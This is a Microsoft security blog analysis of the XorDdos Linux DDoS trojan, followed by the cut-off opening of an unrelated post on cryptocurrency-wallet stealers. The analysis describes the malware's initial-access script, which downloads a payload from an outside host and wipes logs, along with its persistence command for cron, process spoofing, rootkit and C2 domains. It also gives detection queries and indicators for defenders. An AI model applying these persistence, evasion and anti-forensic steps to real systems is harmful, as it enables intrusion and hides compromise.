Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices

May 19th, 2022 No comments

In the last six months, we observed a 254% increase in activity from a Linux trojan called XorDdos. First discovered in 2014 by the research group MalwareMustDie, XorDdos was named after its denial-of-service-related activities on Linux endpoints and servers as well as its usage of XOR-based encryption for its communications.

XorDdos depicts the trend of malware increasingly targeting Linux-based operating systems, which are commonly deployed on cloud infrastructures and Internet of Things (IoT) devices. By compromising IoT and other internet-connected devices, XorDdos amasses botnets that can be used to carry out distributed denial-of-service (DDoS) attacks. Using a botnet to perform DDoS attacks can potentially create significant disruptions, such as the 2.4 Tbps DDoS attack Microsoft mitigated in August 2021. DDoS attacks in and of themselves can be highly problematic for numerous reasons, but such attacks can also be used as cover to hide further malicious activities, like deploying malware and infiltrating target systems.

Botnets can also be used to compromise other devices, and XorDdos is known for using Secure Shell (SSH) brute force attacks to gain remote control on target devices. SSH is one of the most common protocols in IT infrastructures and enables encrypted communications over insecure networks for remote system administration purposes, making it an attractive vector for attackers. Once XorDdos identifies valid SSH credentials, it uses root privileges to run a script that downloads and installs XorDdos on the target device.

XorDdos uses evasion and persistence mechanisms that allow its operations to remain robust and stealthy. Its evasion capabilities include obfuscating the malware’s activities, evading rule-based detection mechanisms and hash-based malicious file lookup, as well as using anti-forensic techniques to break process tree-based analysis. We observed in recent campaigns that XorDdos hides malicious activities from analysis by overwriting sensitive files with a null byte. It also includes various persistence mechanisms to support different Linux distributions. 

Figure 1. A typical attack vector for XorDdos malware

XorDdos may further illustrate another trend observed in various platforms, in which malware is used to deliver other dangerous threats. We found that devices first infected with XorDdos were later infected with additional malware such as the Tsunami backdoor, which further deploys the XMRig coin miner. While we did not observe XorDdos directly installing and distributing secondary payloads like Tsunami, it’s possible that the trojan is leveraged as a vector for follow-on activities.

Microsoft Defender for Endpoint protects against XorDdos by detecting and remediating the trojan’s multi-stage, modular attacks throughout its entire attack chain and any potential follow-on activities on endpoints. In this blog post, we detail our in-depth analysis of XorDdos to help defenders understand its techniques and protect their networks from this stealthy malware.

This blog post covers the following topics:

Initial access

XorDdos propagates primarily via SSH brute force. It uses a malicious shell script to try various root credential combinations across thousands of servers until finding a match on a target Linux device. As a result, we see many failed sign-in attempts on devices successfully infected by the malware:

Figure 2's line chart depicts the increasing amount of failed sign-in attempts by a device infected by XorDdos.
Figure 2. Failed sign-in attempts on a device affected by XorDdos

Our analysis determined two of XorDdos’ methods for initial access. The first method involves copying a malicious ELF file to temporary file storage /dev/shm and then running it. Files written at /dev/shm are deleted during system restart, thus concealing the source of infection during forensic analysis.

The second method involves running a bash script that performs the following activities via the command line:

  1. Iterates the following folders to find a writable directory:
    • /bin
    • /home
    • /root
    • /tmp
    • /usr
    • /etc
  2. If a writable directory is found, changes the working directory to the discovered writable directory.
  3. Uses the curl command to download the ELF file payload from the remote location hxxp://Ipv4PII_777789ffaa5b68638cdaea8ecfa10b24b326ed7d/1[.]txt and saves the file as  ygljglkjgfg0.
  4. Changes the file mode to “executable”.
  5. Runs the ELF file payload.
  6. Moves and renames the Wget binary to evade rule-based detections triggered by malicious usage of the Wget binary. In this case, it renames the Wget binary to good and moves the file to the following locations:
    • mv /usr/bin/wget /usr/bin/good
    • mv /bin/wget /bin/good
  7. Attempts to download the ELF file payload for a second time, now only using the file good and not the Wget binary.
  8. After running the ELF file, uses an anti-forensic technique that hides its past activity by overwriting the content of the following sensitive files with a newline character:
Sensitive File Description
/root/.bash_history Contains the commands that were run earlier
/var/log/wtmp Contains login related record for users
/var/log/btmp Contains record of failed login attempt
/var/log/lastlog Contains the recent login information for users
/var/log/secure Contains information related to security such as logs for authentication failure, sudo logins, and authorization privileges
/var/log/boot.log Contains information related to system boot and message logged via system startup processes
/var/log/cron Contains information related to cron job launch, success and failure error logs
/var/log/dmesg Contains information related to kernel ring buffer messages, hardware devices, drivers, etc.
/var/log/firewalld Contains logs related to firewall activities
/var/log/maillog Contains information related to a mail server running on the system
/var/log/messages Contains generic system activity messages
/var/log/spooler Contains messages from usenet
/var/log/syslog Contains generic system activity messages
/var/log/yum.log Contains the package logs related to installation\remove\update activities done via yum utility
Figure 3 displays the remote bash script command used for initial access
Figure 3. Remote bash script command used for initial access

Whichever initial access method is used, the result is the same: the running of a malicious ELF file, which is the XorDdos malware. In the next section, we do a deep dive into the XorDdos payload.

XorDdos payload analysis

The XorDdos payload we analyzed for this research is a 32-bit ELF file that was not stripped, meaning it contained debug symbols that detailed the malware’s dedicated code for each of its activities. The inclusion of debug symbols makes it easier to debug and reverse engineer non-stripped binaries, as compared to stripped binaries that discard these symbols. In this case, the non-stripped binary includes the following source-code file names associated with the symbol table entries as part of the .strtab section in the ELF file:

  • crtstuff.c
  • autorun.c
  • crc32.c
  • encrypt.c
  • execpacket.c
  • buildnet.c
  • hide.c
  • http.c
  • kill.c
  • main.c
  • proc.c
  • socket.c
  • tcp.c
  • thread.c
  • findip.c
  • dns.c

The above list of source-code file names indicate that the binary is programmed in C/C++ and that its code is modular.

Detection evasion capabilities

XorDdos contains modules with specific functionalities to evade detection, as detailed below.

Daemon processes

A daemon process is a process that runs in the background rather than under the control of users and detaches itself from the controlling terminal, terminating only when the system is shut down. Similar to some Linux malware families, the XorDdos trojan uses daemon processes, as detailed below, to break process tree-based analysis:

  1. The malware calls the subroutine daemon(__nochdir, __noclose) to set itself as a background daemon process, which internally calls fork() and setsid(). The fork() API creates a new child process with the same process group-id as the calling process.
  2. After the successful call to the fork() API, the parent stops itself by returning “EXIT_SUCCESS (0)”. The purpose is to ensure that the child process is not a group process leader, which is a prerequisite for the setsid() API call to be successful. It then calls setsid() to detach itself from the controlling terminal.
  3. The daemon subroutine also has a provision to change the directory to the root directory (“/“) if the first parameter __nochdir is called with a value equal to “0”. One reason for the daemon process to change the directory to the root partition (“/“)is because running the process from the mounted file system prevents unmounting unless the process is stopped.  
  4. It passes the second parameter __noclose as “0” to redirect standard input, standard output, and standard error to /dev/null. It does this by calling dup2 on the file descriptor for /dev/null.
  5. The malware calls multiple signal APIs to ignore a possible signal from the controlling terminal and detach the current process from the standard stream and HangUp signals (SIGHUP) when the terminal session is disconnected. Performing this evasive signal suppression helps stop the effects of standard libraries trying to write to standard output or standard error, or trying to read from standard input, which could stop the malware’s child process. The API signal() sets the disposition of the signal signum to the handler, which is either SIG_IGN, SIG_DFL, or the address of a programmer-defined signal handler. In this case, the second parameter is set to “SIG_IGN=1”, which ignores the signal corresponding to signum.
Figure 4 displays how signals associated with terminal-related operations are ignored.
Figure 4. Ignore signals associated with the terminal-related operations

XOR-based encryption

As its name suggests, XorDdos uses XOR-based encryption to obfuscate data. It calls the dec_conf function to decode encoded strings using the XOR key “BB2FA36AAA9541F0”. The table below shows the decoded values of the obfuscated data used across the malware’s various modules to conduct its activities.

Encrypted strings Decoded value
m7A4nQ_/nA /usr/bin/
m [(n3 /bin/
m6_6n3 /tmp/
m4S4nAC/n&ZV\x1aA/TB /var/run/gcc.pid
m.[$n__#4%\C\x1aB]0 /lib/libudev.so
m.[$n3 /lib/
m4S4nAC/nA /var/run/
!#Ff3VE.-7\x17V[_ cat resolv.conf
<Encrypted_Remote_URL> hxxp://aa.hostasa[.]org/config.rar

Process name spoofing

When a process is launched, arguments are provided to its main function as null-terminated strings, where the first argument is always the process image path. To spoof its process name, XorDdos zeroes out all argument buffers while running and overrides its first argument buffer containing the image path with a fake command line, such as cat resolv.conf.

Figure 5 displays how process name spoofing is achieved by modifying memory associated with argument vectors.
Figure 5. Process name spoofing achieved by modifying memory associated with argument vectors.
Figure 6 displays the output of the 'ps -aef' containing an entry for "cat resolv.conf".
Figure 6. Output of the ‘ps -aef’ contains an entry for “cat resolv.conf”

Kernel rootkit

Some XorDdos samples install a kernel rootkit. A rootkit is a kernel module that hides the presence of malicious code by modifying operating systems data structures. The XorDdos kernel rootkit generally has following capabilities:

  • Provide root access
  • Hide the kernel module
  • Hide the malware’s processes
  • Hide the malware’s network connections and ports

Based on the debug symbols found in the rootkit, it’s likely that XorDdos’ rootkit code was inspired by an open-source project called rooty. The following table describes the symbols found in the rootkit and their corresponding functionalities:

Function name   Description  
give_root   Provides a root privilege by setting a new set of credentials and assigning its UID, GID to “0”
module_hide Hides the rootkit kernel module
module_show Unhides the rootkit kernel module
get_udp_seq_show Hides the UDP4 connection by hooking /proc/net/udpHides the UDP6 connection by hooking /proc/net/udp6
get_tcp_seq_show Hides the TCP4 connection by hooking /proc/net/tcpHides the TCP6 connection by hooking /proc/net/tcp6
hide_udp4_port Adds a provided port to a list of hidden UDP4 ports
unhide_udp4_port Deletes a provided port from a list of hidden UDP4 ports
hide_udp6_port Adds a provided port to a list of hidden UDP6 ports
unhide_udp6_port Deletes a provided port from a list of hidden UDP6 ports
hide_tcp4_port Adds a provided port to a list of hidden TCP4 ports
unhide_tcp4_port Deletes a provided port from a list of hidden TCP4 ports
hide_tcp6_port Adds a provided port to a list of hidden TCP6 ports
unhide_tcp6_port Deletes a provided port from a list of hidden TCP6 ports
unhide_allz Iterates list of all hidden ports and deletes all entries

Process and port hiding

The malware tries to hide its processes and ports using its kernel rootkit component. Hiding a process assists the malware in evading rule-based detections.

The /proc filesystem contains information related to all running processes. A user-mode process can get any process specific information by reading the /proc directory that contains the subdirectory for each running process on the system, such as:

  • /proc/7728 – Contains process-id (PID) 7728-related information
  • /proc/698 – Contains PID 698-related information

Running the strace -e open ps command checks the traces of the open call on /proc/$pid to fetch information on running processes as part of the ps command.

> strace -e open ps
open(“/proc/3922/status”, O_RDONLY)     = 6
open(“/proc/4324/stat”, O_RDONLY)       = 6
open(“/proc/4324/status”, O_RDONLY)     = 6
open(“/proc/5559/stat”, O_RDONLY)       = 6
open(“/proc/5559/status”, O_RDONLY)     = 6
open(“/proc/5960/stat”, O_RDONLY)       = 6
open(“/proc/5960/status”, O_RDONLY)     = 6
open(“/proc/5978/stat”, O_RDONLY)       = 6
open(“/proc/5978/status”, O_RDONLY)     = 6

If the malware hides the $pid specific directory, it can conceal fetching the corresponding process from a user mode.

In this case, the malware has a provision for communicating with its rootkit component /proc/rs_dev by sending input and output control (IOCTL) calls with additional information to take appropriate action. IOCTL is one way to communicate between the user-mode service and kernel device driver. The malware uses the number “0x9748712” to uniquely identify its IOCTL calls from other IOCTL calls in the system.

Along with this number, it also passes an integer array. The first entry in the array corresponds to the command, and the second entry stores the value to act on, such as $pid.

Command Usage
0 Check if its rootkit driver is present
1, 2 Hide or unhide <PID>
3 Hide <port>

Persistence mechanisms

XorDdos uses various persistence mechanisms to support different Linux distributions when automatically launching upon system startup, as detailed below.

Init script

The malware drops an init script at the location /etc/init.d. Init scripts are startup scripts used to run any program when the system starts up. They follow the Linux Standard Base (LSB)-style header section to include default runlevels, descriptions, and dependencies.

Figure 7 displays the content of the init script dropped at the location /etc/init.d/HFLgGwYfSC.elf.
Figure 7. Content of the init script dropped at the location /etc/init.d/HFLgGwYfSC.elf

Cron script

The malware creates a cron script at the location /etc/cron.hourly/gcc.sh.The cron script passes parameters with the following content:

Figure 8 displays the contents of the gcc.sh script.
Figure 8. Content of the gcc.sh script

It then creates a /etc/crontab file to run /etc/cron.hourly/gcc.sh every three minutes:

Figure 9 displays the system command to delete the /etc/cron.hourly/gcc.sh entry from /etc/crontab file and add a new entry. It reads "system("sed -i \'/\\/etc\\/cron.hourly\\/gcc.sh/d\' /etc/crontab && echo \'*/3 * * * * root /etc/cron.hourly/gcc.sh\' >> /etc/crontab");
Figure 9. System command to delete the /etc/cron.hourly/gcc.sh entry from the /etc/crontab file and add a new entry
Figure 10 reads :*/3 * * * * root /etc/cron.hourly/gcc.sh"
Figure 10. The content of the file /etc/crontab

System V runlevel

A runlevel is a mode of init and the system that specifies what system services are operating for Unix System V-Style operating systems. Runlevels contain a value, typically numbered zero through six, which each designate a different system configuration and allows access to a different combination of processes. Some system administrators set a system’s default runlevel according to their needs or use runlevels to identify which subsystems are working, such as whether the network is operational. The /etc/rc<run_level> directory contains symbolic links (symlinks), which are soft links that point to the original file. These symlinks point to the scripts that should run at the specified runlevel.

The malware creates a symlink for the init script dropped at the location /etc/init.d/<base_file_name> with the directories associated with runlevels 1 through 5 at /etc/rc<run_level>.d/S90<base_file_name> and /etc/rc.d/rc<run_level>.d/S90<base_file_name>.

Figure 11 displays the installation of rc.d directory's symlink scripts with /etc/init.d/<base_file_name>.
Figure 11. Installation of rc.d directory’s symlink scripts with /etc/init.d/<base_file_name>

Auto-start services

The malware runs a command to install startup services that automatically run XorDdos at boot. The malware’s LinuxExec_Argv2 subroutine runs the system API with the provided arguments.

The commands chkconfig –add <service_name> and update-rc.d then add a service that starts the daemon process at boot.

Figure 12 displays chkconfig and update-rc.d commands installing the startup service
Figure 12. chkconfig and update-rc.d commands install the startup service

Argument-based code-flow

XorDdos has specific code paths corresponding to the number of arguments provided to the program. This flexibility makes its operation more robust and stealthy. The malware first runs without any argument and then later runs another instance with different arguments, such as PIDs and fake commands, to perform capabilities like clean-up, spoofing, and persistence.

Before handling the argument-based control, it calls the readlink API with the first parameter as /proc/self/exe to fetch its full process path. The full path is used later to create auto-start service entries and read the file’s content.

In this section, we will cover the main tasks carried out as part of the different arguments provided:

1: Standard code path without any provided arguments

This code path depicts the malware’s standard workflow, which is also the typical workflow where XorDdos runs as part of the entries created in system start-up locations.

The malware first checks whether it’s running from the locations /usr/bin/, /bin/, or /tmp/. If it’s not running from these locations, then it creates and copies itself using a 10-character string name on those locations, as well as /lib/ and /var/run/.

It also creates a copy of itself at the location /lib/libudev.so. To evade hash-based malicious file lookup, it performs the following steps, which modify the file hash to make every file unique:

  • Opens the file for writing only
  • Calls lseek (fd, 0, SEEK_END) to point at the last position in the file
  • Creates a random 10-character string
  • Writes the string at the end of the file with an additional null byte

After modifying the file, it runs the binary, performs a double fork(), and deletes its file from the disk.

Figure 13 displays the end of the malware file containing two random strings, ‘wieegnexuk’ and ‘yybrdajydg,’ indicating that the original malware binary was modified twice
Figure 13. The end of the malware file contains two random strings, ‘wieegnexuk’ and ‘yybrdajydg,’ indicating that the original malware binary was modified twice

2: Clean-up code path

In this code path, the malware runs with another argument provided as the PID, for example:

  • /usr/bin/jwvwvxoupv 4849

Using the above example, the malware shares the 64-byte size memory segment with the IPC key “0xDA718716” to check for another malware process provided as an argument. If not found, it runs its own binary without any argument and calls the fork() API twice to make sure the grandchild process has no parent. This results in the grandchild process being adopted by the init process, which disconnects it from the process tree and acts as an anti-forensic technique.

Additionally, it performs the following tasks on a provided $pid:

  • Fetches the process file name corresponding to the provided $pid
  • Deletes the file for the provided $pid
  • Deletes the installed init services:
    • Deletes /etc/init.d/<file_name>
    • For runlevels 1-5, unlinks and deletes /etc/rc<runlevel>.d/S90<file_name>
    • Performs the command chkconfig –del <file_name>
    • Performs the command update-rc.d <file_name> remove
  • Ends the process that was provided as an argument.

3: Process name spoofing code path

The malware spawns new dropped binaries with two additional arguments: a fake command line and its PIDs, for example:

  • /usr/bin/jwvwvxoupv “cat resolv.conf” 4849
  • /usr/bin/jwvwvxoupv gnome-terminal 4849
  • /usr/bin/jwvwvxoupv top 4849
  • /usr/bin/jwvwvxoupv pwd 4849
  • /usr/bin/kagbjahdic id 4849

The fake commands can include:

  • cat resolv.conf
  • netstat -an
  • bash
  • whoami
  • id
  • cd /etc
  • ifconfig eth0
  • ifconfig
  • echo “find”
  • uptime
  • sh
  • top
  • gnome-terminal
  • su
  • netstat -antop
  • grep “A”
  • who
  • ls -la
  • pwd
  • route -n
  • ps -ef
  • ls
  • sleep 1

In this code path, the malware uses process name spoofing to hide from the process tree by modifying its fake command line at runtime. It then hides its process by calling HidePidPort with command “1” and reads the content of the file on disk related to the current process.

It then enters a five-second loop to perform the following checks:

  • Fetches the file name specific to the $pid provided as part of the third argument by calling the readlink API on /proc/$pid/exe.
  • If the readlink call fails, that likely indicates that the file on disk doesn’t exist. In this case, it:
    • Intends to delete all service-related entries for the $pid but fails. This appears to be due to a code flaw that allows a zeroed-out buffer to be passed as a service name when the buffer is supposed to be filled from a successful readlink API call.
    • Creates directories similar to the standard code path scenario.
    • Calls the stat API for the file /lib/libudev.so. If the stat API returns a non-zero value, then it attempts to copy the content of the current process’s image-file fetched earlier to the following locations with a random name:
      • /usr/bin/
      • /bin/
      • /tmp/   
    • Copies the /lib/libudev.so file to the same three directories listed above if the stat API call is successful on /lib/libudev.so.
    • Changes the hash of the written or copied file and then runs it without passing any parameters.
  • If the readlink call is successful and returns the count of bytes copied, sleeps for one second and then loops for the remaining time out of five seconds.
  • Unhides the current process and the $pid that was provided as part of the third argument.
  • Deletes the on-disk file for the current process.

4: Known locations code path without any provided arguments

This code path is similar to the standard code path, with the main difference being that the malware runs from one of the following locations:

  • /usr/bin/
  • /bin/
  • /tmp/

Once it runs from one of these locations, the malware calls the following functions to perform various tasks:

  1. InstallSYS – The name suggests that this function is a wrapper that should deploy a rootkit driver, but it only zeroes-out two local arrays.
Figure 14 displays a dummy InstallSYS routine that only zeros-out two local arrays.
Figure 14. Dummy InstallSYS routine
  1. AddService – Creates the persistent auto-start entries previously mentioned so that the malware runs when the system starts.
  2. HidePidPort – Hides the malware’s ports and processes.
  3. CheckLKM – Checks whether the rootkit device is active or not. It uses a similar IOCTL call with the number “0x9748712” and command “0” to find if the rootkit is active. If the rootkit is active, it uses the owner value “0xAD1473B8” and group value “0xAD1473B8” to change the ownership of dropped files with the function lchown(<filename>, 0xAD1473B8, 0xAD1473B8).
  4. decrypt_remotestr – Decodes remote URLs using the same XOR key, “BB2FA36AAA9541F0”, to decode config.rar and the other directories. After decoding the URLs, it adds them into a remote list, which is later used to communicate and fetch commands from the command and control (C2) server:
    • www[.]enoan2107[.]com:3306
    • www[.]gzcfr5axf6[.]com:3306

Malicious activity threads

After creating persistent entries, deleting evidence of its activities, and decoding config.rar, the malware initializes a cyclic redundancy check (CRC) table followed by an unnamed semaphore using the sem_init API. This semaphore is initialized with apshared value set to “0”, making the resultant semaphore shared between all the threads. The semaphore is used to maintain concurrency between threads accessing a shared object, such as kill_cfg data.

The malware then initializes three threads to perform malicious activities, such as stopping a process, creating a TCP connection, and retrieving kill_cfg data.

Figure 15 displays the semaphore and malicious thread initialization
Figure 15. Semaphore and malicious thread initialization

 kill_process

The kill_process thread performs the following tasks:

  • Decodes encrypted strings
  • Fetches file stats for /var/run/gcc.pid or, if none exist, then creates the file
  • Fetches file stats for /lib/libudev.so or, if none exist, then creates the directory /lib and creates a copy of itself at the location /lib/libudev.so
  • Fetches the on disk file information associated with the current process; if it fails, then exits the loop and stops the current process
  • Reads the content from kill_cfg and performs the corresponding actions, like stopping the process or deleting files, based on the matching specified keys in the configuration file, such as:
    • md5=
    • filename=
    • rmfile=
    • denyip=

tcp_thread

The tcp_thread triggers the connection with the C2 server decoded earlier using decrypt_remotestr(). It performs the following tasks:

  • Reads the content of the file /var/run/gcc.pid to get a unique 32-byte magic string that identifies the device while connecting with the C2 server; if the file doesn’t exist, then it creates the file and updates it with a random 32-byte string.
  • Calculates the CRC header, including details of the device such as the magic string, OS release version, malware version, rootkit presence, memory stats, CPU information, and LAN speed.
  • Encrypts the data and sends it to the C2 server.
  • Waits to receive any of the following commands from the C2 server and then acts on the command using the exec_packet subroutine.
Command Job
2 Stop
3 Create a thread pool for launching DDoS attacks
6 Download file
7 Update file
8 Send system information to the C2 server
9 Get configuration file to stop processes
Figure 16 displays code for the collection of system information.
Figure 16. Collection of system information

daemon_get_killed_process

The daemon_get_killed_processthread downloads the kill_cfg data from the remote URL decoded earlier (hxxp://aa[.]hostasa[.]org/config[.]rar) and decrypts it using the same XOR key previously mentioned. It then sleeps for 30 minutes.

Figure 17 displays code for the daemon_get_killed_process thread function fetching and decoding the kill_cfg data from remote URL.
Figure 17. daemon_get_killed_process thread function fetches and decodes the kill_cfg data from the remote URL

DDoS attack thread pool

The malware calls sysconf(_SC_NPROCESSORS_CONF) to fetch the number of processors in the device. It then creates threads with twice the number of processors found on the device.

Invoking each thread internally calls the thread routine threadwork. Using the global variable “g_stop” and commands received from the C2 server, threadwork then sends crafted packets 65,535 times to perform a DDoS attack.

Command Function Job
0x4 fix_syn   SYN flood attack
0x5 fix_dns   DNS attack
0xA fix_ack   ACK flood attack

Defending against Linux platform threats

XorDdos’ modular nature provides attackers with a versatile trojan capable of infecting a variety of Linux system architectures. Its SSH brute force attacks are a relatively simple yet effective technique for gaining root access over a number of potential targets.

Adept at stealing sensitive data, installing a rootkit device, using various evasion and persistence mechanisms, and performing DDoS attacks, XorDdos enables adversaries to create potentially significant disruptions on target systems. Moreover, XorDdos may be used to bring in other dangerous threats or to provide a vector for follow-on activities.

XorDdos and other threats targeting Linux devices emphasize how crucial it is to have security solutions with comprehensive capabilities and complete visibility spanning numerous distributions of Linux operating systems. Microsoft Defender for Endpoint offers such visibility and protection to catch these emerging threats with its next-generation antimalware and endpoint detection and response (EDR) capabilities. Leveraging threat intelligence from integrated threat data, including client and cloud heuristics, machine learning models, memory scanning, and behavioral monitoring, Microsoft Defender for Endpoint can detect and remediate XorDdos and its multi-stage, modular attacks. This includes detecting and protecting against its use of a malicious shell script for initial access, its drop-and-execution of binaries from a world-writable location, and any potential follow-on activities on endpoints.

Defenders can apply the following mitigations to reduce the impact of this threat:

  • Encourage the use of Microsoft Edge—available on Linux and various platforms—or other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that contain exploits and host malware.
  • Use device discovery to find unmanaged Linux devices on your network and onboard them to Microsoft Defender for Endpoint. 
  • Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to use cloud-based machine learning protections that can block a huge majority of new and unknown variants. 
  • Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus doesn’t detect the threat or when Microsoft Defender Antivirus is running in passive mode.
  • Enable network protection to prevent applications or users from accessing malicious domains and other malicious content on the internet. 
  • Enable investigation and remediation in full automated mode to allow Microsoft Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume. 

As threats across all platforms continue to grow in number and sophistication, security solutions must be capable of providing advanced protection on a wide range of devices, regardless of the operating system in use. Organizations will continue to face threats from a variety of entry points across devices, so Microsoft continues to heavily invest in protecting all the major platforms and providing extensive capabilities that organizations needed to protect their networks and systems.

Detection details

Microsoft Defender for Endpoint detects and blocks XorDdos components and behavior as the following malware:

  • DoS:Linux/Xorddos.A
  • DoS:Linux/Xorddos!rfn
  • Trojan:Linux/Xorddos
  • Trojan:Linux/Xorddos.AA
  • Trojan:Linux/Xorddos!rfn
  • Behavior:Linux/Xorddos.A

When XorDdos is detected on a device, Microsoft 365 Defender raises an alert, which shows the complete attack chain, including the process tree, file information, user information, and prevention details.

Figure 18. Microsoft 365 Defender alert for detection of XorDdos malware

The timeline view displays all of the detection and prevention events associated with XorDdos, providing details such as the MITRE ATT&CK techniques and tactics, remediation status, and event entities graph.

Figure 19. Microsoft 365 Defender timeline displaying that HFLgGwYfSC.elf was run from a world-writable directory and the remediation of dropped binaries

Events with the following titles indicate threat activity related to XorDdos:

  • The content of libudev.so was collected into libudev.so.6
  • bash process performed System Information Discovery by invoking ifconfig
  • gcc.sh was executed after being dropped by HFLgGwYfSC.elf
  • A shell command was executed by crond
  • SUID/SGID process unix_chkpwd executed
Figure 20. Microsoft 365 Defender timeline with an event on a suspicious shell command run by crond after it was dropped from HFLgGwYfSC.elf

Hunting queries

To locate malicious activity related to XorDdos activity, run the following advanced hunting queries in Microsoft 365 Defender or Microsoft Defender Security Center:

Failed sign-ins

DeviceLogonEvents
| where InitiatingProcessFileName == "sshd"
    and ActionType == "LogonFailed"
| summarize count() by dayOfYear = datetime_part("dayOfYear", Timestamp)
| sort by dayOfYear 
| render linechart

Creation of the XorDdos-specific dropped files

DeviceFileEvents
| extend FullPath=strcat(FolderPath, FileName)
| where FullPath in ("/etc/cron.hourly/gcc.sh", "/lib/libudev.so.6", "/lib/libudev.so", "/var/run/gcc.pid")

Command-line of malicious process

DeviceProcessEvents
| where ProcessCommandLine contains "cat resolv.conf"

Indicators

File information

File name: HFLgGwYfSC.elf
File size: 611.22 KB (625889 bytes)
Classification: DoS:Linux/Xorddos.A
MD5: 2DC6225A9D104A950FB33A74DA262B93
Sha1: F05194FB2B3978611B99CFBF5E5F1DD44CD5E04B
Sha256: F2DF54EB827F3C733D481EBB167A5BC77C5AE39A6BDA7F340BB23B24DC9A4432
File type: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped
First submission in VT: 2022-01-25 05:32:10 UTC

Dropped files

Dropped file path File type SHA-256
/etc/init.d/HFLgGwYfSC.elf Shell Script 6E506F32C6FB7B5D342D1382989AB191C6F21C2D311251D8F623814F468952CF
/etc/cron.hourly/gcc.sh Shell Script CBB72E542E8F19240130FC9381C2351730D437D42926C6E68E056907C8456459
/lib/libudev.so ELF F2DF54EB827F3C733D481EBB167A5BC77C5AE39A6BDA7F340BB23B24DC9A4432
/run/gcc.pid Text 932FEEF3AB6FCCB3502F900619B1F87E1CB44A7ADAB48F2C927ECDD67FF6830A
/usr/bin/djtctpzfdq ELF 53F062A93CF19AEAA2F8481B32118A31B658A126624ABB8A7D82237884F0A394
/usr/bin/dmpyuitfoq ELF 798577202477C0C233D4AF51C4D8FB2F574DDB3C9D1D90325D359A84CB1BD51C
/usr/bin/fdinprytpq ELF 2B4500987D50A24BA5C118F506F2507362D6B5C63C80B1984B4AE86641779FF3
/usr/bin/jwvwvxoupv ELF 359C41DA1CBAE573D2C99F7DA9EEB03DF135F018F6C660B4E44FBD2B4DDECD39
/usr/bin/kagbjahdic ELF E6C7EEE304DFC29B19012EF6D31848C0B5BB07362691E4E9633C8581F1C2D65B
/usr/bin/kkldnszwvq ELF EF0A4C12D98DC0AD4DB86AADD641389C7219F57F15642ED35B4443DAF3FF8C1E
/usr/bin/kndmhuqmah ELF B5FBA27A8E457C1AB6573C378171F057D151DC615D6A8D339195716FA9AC277A
/usr/bin/qkxqoelrfa ELF D71EA3B98286D39A711B626F687F0D3FC852C3E3A05DE3F51450FB8F7BD2B0D7
/usr/bin/sykhrxsazz ELF 9D6F115F31EE71089CC85B18852974E349C68FAD3276145DAFD0076951F32489
/usr/bin/tcnszvmpqn ELF 360A6258DD66A3BA595A93896D9B55D22406D02E5C02100E5A18382C54E7D5CD
/usr/bin/zalkpggsgh ELF DC2B1CEE161EBE90BE68561755D99E66F454AD80B27CEBE3D4773518AC45CBB7
/usr/bin/zvcarxfquk ELF 175667933088FBEBCB62C8450993422CCC876495299173C646779A9E67501FF4
/tmp/bin/3200 ELF(rootkit) C8F761D3EF7CD16EBE41042A0DAF901C2FDFFCE96C8E9E1FA0D422C6E31332EA

Download URLs

  • www[.]enoan2107[.]com:3306
  • www[.]gzcfr5axf6[.]com:3306
  • hxxp://aa[.]hostasa[.]org/config.rar

Ratnesh Pandey, Yevgeny Kulakov, and Jonathan Bar Or
Microsoft 365 Defender Research Team

The post Rise in XorDdos: A deeper look at the stealthy DDoS malware targeting Linux devices appeared first on Microsoft Security Blog.

In hot pursuit of ‘cryware’: Defending hot wallets from attacks

May 17th, 2022 No comments

The steep rise in cryptocurrency market capitalization, not surprisingly, mirrors a marked increase in threats and attacks that target or leverage cryptocurrencies. But Microsoft researchers are observing an even more interesting trend: the evolution of related malware and their techniques, and the emergence of a threat type we’re referring to as cryware.

Cryware are information stealers that collect and exfiltrate data directly from non-custodial cryptocurrency wallets, also known as hot wallets. Because hot wallets, unlike custodial wallets, are stored locally on a device and provide easier access to cryptographic keys needed to perform transactions, more and more threats are targeting them.

Cryware signifies a shift in the use of cryptocurrencies in attacks: no longer as a means to an end but the end itself. Before cryware, the role of cryptocurrencies in an attack or the attack stage where they figured varied depending on the attacker’s overall intent. For example, some ransomware campaigns prefer cryptocurrency as a ransom payment. However, that requires the target user to manually do the transfer. Meanwhile, cryptojackers—one of the prevalent cryptocurrency-related malware—do try to mine cryptocurrencies on their own, but such a technique is heavily dependent on the target device’s resources and capabilities.

With cryware, attackers who gain access to hot wallet data can use it to quickly transfer the target’s cryptocurrencies to their own wallets. Unfortunately for the users, such theft is irreversible: blockchain transactions are final even if they were made without a user’s consent or knowledge. In addition, unlike credit cards and other financial transactions, there are currently no available mechanisms that could help reverse fraudulent cryptocurrency transactions or protect users from such.

To find hot wallet data such as private keys, seed phrases, and wallet addresses, attackers could use regular expressions (regexes), given how these typically follow a pattern of words or characters. These patterns are then implemented in cryware, thus automating the process. The attack types and techniques that attempt to steal these wallet data include clipping and switching, memory dumping, phishing, and scams.

As cryptocurrency investing continues to trickle to wider audiences, users should be aware of the different ways attackers attempt to compromise hot wallets. They also need to protect these wallets and their devices using security solutions like Microsoft Defender Antivirus, which detects and blocks cryware and other malicious files, and Microsoft Defender SmartScreen, which blocks access to cryware-related websites. For organizations, data and signals from these solutions also feed into Microsoft 365 Defender, which provides comprehensive and coordinated defense against threats—including those that could be introduced into their networks through user-owned devices or non-work-related applications.

In this blog, we provide details of the different attack surfaces targeting hot wallets. We also offer best practice recommendations that help secure cryptocurrency transactions.

From cryptojackers to cryware: The growth and evolution of cryptocurrency-related malware

The emergence and boom of cryptocurrency allowed existing threats to evolve their techniques to target or abuse cryptocurrency tokens. The threats that currently leverage cryptocurrency include:

  • Cryptojackers. One of the threat types that surfaced and thrived since the introduction of cryptocurrency, cryptojackers are mining malware that hijacks and consumes a target’s device resources for the former’s gain and without the latter’s knowledge or consent. Based on our threat data, we saw millions of cryptojacker encounters in the last year.
  • Ransomware. Some threat actors prefer cryptocurrency for ransom payments because it provides transaction anonymity, thus reducing the chances of being discovered.
